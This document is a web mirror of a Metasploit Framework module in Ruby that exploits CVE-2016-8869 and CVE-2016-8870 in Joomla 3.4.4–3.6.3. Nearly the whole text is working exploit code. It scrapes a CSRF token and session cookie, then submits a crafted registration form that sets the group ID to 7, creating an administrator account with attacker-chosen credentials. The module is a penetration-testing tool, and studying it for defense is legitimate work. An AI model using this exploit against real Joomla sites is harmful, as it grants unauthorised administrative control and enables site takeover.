Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/joomla_registration_privesc.rb
19593 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HTTP::Joomla
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Joomla Account Creation and Privilege Escalation',
14
'Description' => %q{
15
This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4
16
through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).
17
},
18
'References' => [
19
['CVE', '2016-8869'],
20
['CVE', '2016-8870'],
21
['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'],
22
['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'],
23
['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2']
24
],
25
'Author' => [
26
'Fabio Pires <fp[at]integrity.pt>', # module creation and privilege escalation
27
'Filipe Reis <fr[at]integrity.pt>', # module creation and privilege escalation
28
'Vitor Oliveira <vo[at]integrity.pt>', # module creation and privilege escalation
29
],
30
'License' => MSF_LICENSE,
31
'DisclosureDate' => '2016-10-25',
32
'Notes' => {
33
'Stability' => [CRASH_SAFE],
34
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
35
'Reliability' => []
36
}
37
)
38
)
39
40
register_options(
41
[
42
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']),
43
OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']),
44
OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']),
45
OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', '[email protected]'])
46
]
47
)
48
end
49
50
def check
51
res = send_request_cgi('uri' => target_uri.path)
52
53
unless res
54
vprint_error('Unable to connect to target')
55
return Exploit::CheckCode::Unknown
56
end
57
58
unless joomla_and_online?
59
vprint_error('Unable to detect Joomla')
60
return Exploit::CheckCode::Safe
61
end
62
63
version = Rex::Version.new(joomla_version)
64
65
unless version
66
vprint_error('Unable to detect Joomla version')
67
return Exploit::CheckCode::Detected
68
end
69
70
vprint_status("Detected Joomla version #{version}")
71
72
if version.between?(Rex::Version.new('3.4.4'), Rex::Version.new('3.6.3'))
73
return Exploit::CheckCode::Appears
74
end
75
76
Exploit::CheckCode::Safe
77
end
78
79
def get_csrf(hidden_fields)
80
hidden_list = hidden_fields
81
hidden_list.each do |fields|
82
fields.each do |item|
83
if item[0].length == 32 && item[1] == '1'
84
return item[0]
85
end
86
end
87
end
88
end
89
90
def run
91
if check == Exploit::CheckCode::Safe
92
print_error('Target seems safe, so we will not continue!')
93
return
94
end
95
96
print_status('Trying to create the user!')
97
res = send_request_cgi(
98
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
99
'vars_get' => {
100
'view' => 'login'
101
}
102
)
103
104
if res && res.code == 200
105
cookie = res.get_cookies
106
csrf = get_csrf(res.get_hidden_inputs)
107
108
if csrf.length != 32 && cookie.split(/=/).length != 2
109
print_error('Could not find csrf or cookie!')
110
return
111
end
112
else
113
print_error('Could not find Login Page!')
114
return
115
end
116
117
mime = Rex::MIME::Message.new
118
mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[name]"')
119
mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"')
120
mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"')
121
mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"')
122
mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password2]"')
123
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"')
124
mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"')
125
mime.add_part('com_users', nil, nil, 'form-data; name="option"')
126
mime.add_part('user.register', nil, nil, 'form-data; name="task"')
127
mime.add_part('1', nil, nil, 'form-data; name="' + csrf + '"')
128
129
res = send_request_cgi(
130
'method' => 'POST',
131
'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),
132
'cookie' => cookie,
133
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
134
'data' => mime.to_s
135
)
136
137
if res && res.code == 200
138
print_good('PWND - Your user has been created')
139
print_status("\tUsername: " + datastore['USERNAME'])
140
print_status("\tPassword: " + datastore['PASSWORD'])
141
print_status("\tEmail: " + datastore['EMAIL'])
142
elsif res.redirect?
143
res = send_request_cgi!(
144
'uri' => res.redirection.path,
145
'method' => 'GET',
146
'cookie' => cookie
147
)
148
149
print_error('There was an issue, but the user could have been created.')
150
151
parsed_data = res.get_html_document
152
parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg|
153
print_error("\t" + alert_msg.text)
154
end
155
else
156
print_error('This host may not be vulnerable.')
157
end
158
end
159
end
160
161